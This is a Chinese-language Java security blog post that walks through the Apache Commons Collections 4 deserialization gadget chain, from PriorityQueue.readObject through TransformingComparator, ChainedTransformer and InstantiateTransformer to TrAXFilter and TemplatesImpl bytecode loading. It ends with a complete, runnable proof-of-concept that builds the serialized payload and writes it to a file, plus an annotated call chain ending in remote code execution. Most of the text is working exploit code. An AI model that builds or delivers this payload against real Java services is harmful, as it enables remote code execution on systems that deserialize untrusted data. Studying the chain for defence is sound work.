Apache Commons Collections 4

Apache Commons Collections 4

因为 Commons Collections 4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable，导致无法序列化。同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口，而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径。

执行命令

创建Runtime实例可以用TemplatesImpl类的defineClass方法，需要调用newTransformer()方法才能执行，因此需要寻找主动调用newTransformer()方法的类，

TrAXFilter

TrAXFilter类的构造方法更好就可以调用newTransformer()方法

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public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

只要创建TrAXFilter类即可调用

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TrAXFilter trAXFilter = new TrAXFilter(templates);

但TrAXFilter不能被序列化，因此需要用到反射创建TrAXFilter对象

InstantiateTransformer

InstantiateTransformer类的transform方法刚好可以通过反射创建对象,且可以被序列化

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public T transform(final Class<? extends T> input) {
    try {
        if (input == null) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
        }
        final Constructor<? extends T> con = input.getConstructor(iParamTypes);
        return con.newInstance(iArgs);
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InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

可以看到，需要调用transform方法，所以直接用ChainedTransformer类链式调用

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Transformer[] transformers={
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);

利用链

需要找到主动调用transform方法的类

TransformingComparator

TransformingComparator类的compare方法

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public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

现在以此寻找调用compare方法的类

PriorityQueue.siftUpUsingComparator()

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private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

PriorityQueue.siftDown()

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private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

PriorityQueue.heapify()

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private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

PriorityQueue.readObject()

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private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

最后在readObject()方法找到，完美符合反序列化

利用链细节

在heapify()方法里，有个for循环，只有进入循环才会继续调用

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for (int i = (size >>> 1) - 1; i >= 0; i--)
    siftDown(i, (E) queue[i]);

进入循环需要size变量向右移1位大于等于1才行

size

size是PriorityQueue类里队列的元素个数，通过add函数而添加，因此，只需要往队列里随便添加元素即可

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priorityQueue.add(1);
priorityQueue.add(2);

反序列化执行

  • PriorityQueue 内部是一个最小堆，它在插入元素时会调用 siftUp() 来维护堆序。
  • 维护堆序需要比较元素的大小。
  • 传了一个 TransformingComparator，它会在比较时调用 chainedTransformer.transform(...)。
  • ChainedTransformer 链里最终会去 new TrAXFilter(templates)，而 templates 是你精心构造的恶意 TemplatesImpl 对象，所以在构造 TrAXFilter 时就会去调用 templates.newTransformer()，最终执行字节码里的命令。

需要在序列化时传一个无效对象，之后再通过反射修改

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Transformer[] transformers={
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

POC

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package cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);

        name.set(templates, "1");
        byte[] code = Files.readAllBytes(Paths.get("D:/Maven/project/Apache Commons Collections/cc4/src/main/java/cc4/Evil.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        tfactory.set(templates,new TransformerFactoryImpl());


        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field transformer = TransformingComparator.class.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
//        deserialize();

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
        oos.writeObject(obj);
    }

    public static void  deserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
        Object o =  ois.readObject();


    }
}
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ObjectInputStream.readObject()
// 反序列化入口，开始读取对象
└─> PriorityQueue.readObject()
	// PriorityQueue自定义反序列化方法被调用
    └─> PriorityQueue.heapify()
    	// 反序列化时重建堆结构，调整元素顺序
        └─> PriorityQueue.siftDown()
        	// 调整堆中某个节点的正确位置
            └─> TransformingComparator.compare()
            	 // 比较队列元素大小时调用自定义比较器
                └─> ChainedTransformer.transform()
                	// 执行链式变换，触发恶意代码
                    ├─> ConstantTransformer.transform() → 返回 TrAXFilter.class
                    	// 返回目标类
                    └─> InstantiateTransformer.transform()
                    	 // 通过反射实例化TrAXFilter对象
                        └─> new TrAXFilter(templates)
                        	// 调用TrAXFilter构造函数，传入恶意Templates对象
                            └─> TrAXFilter.<init>(templates)
                            	// 构造函数执行
                                └─> templates.newTransformer()
                                	 // 触发TemplatesImpl动态加载恶意字节码
                                    └─> TemplatesImpl.defineClass()
                                    	// 加载字节码为Java类
                                        └─> 恶意类 static 代码块执行（RCE）

java安全
Apache Commons Collections 4
http://xiaowu5.cn/2025/12/04/Apache-Commons-Collections-4/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU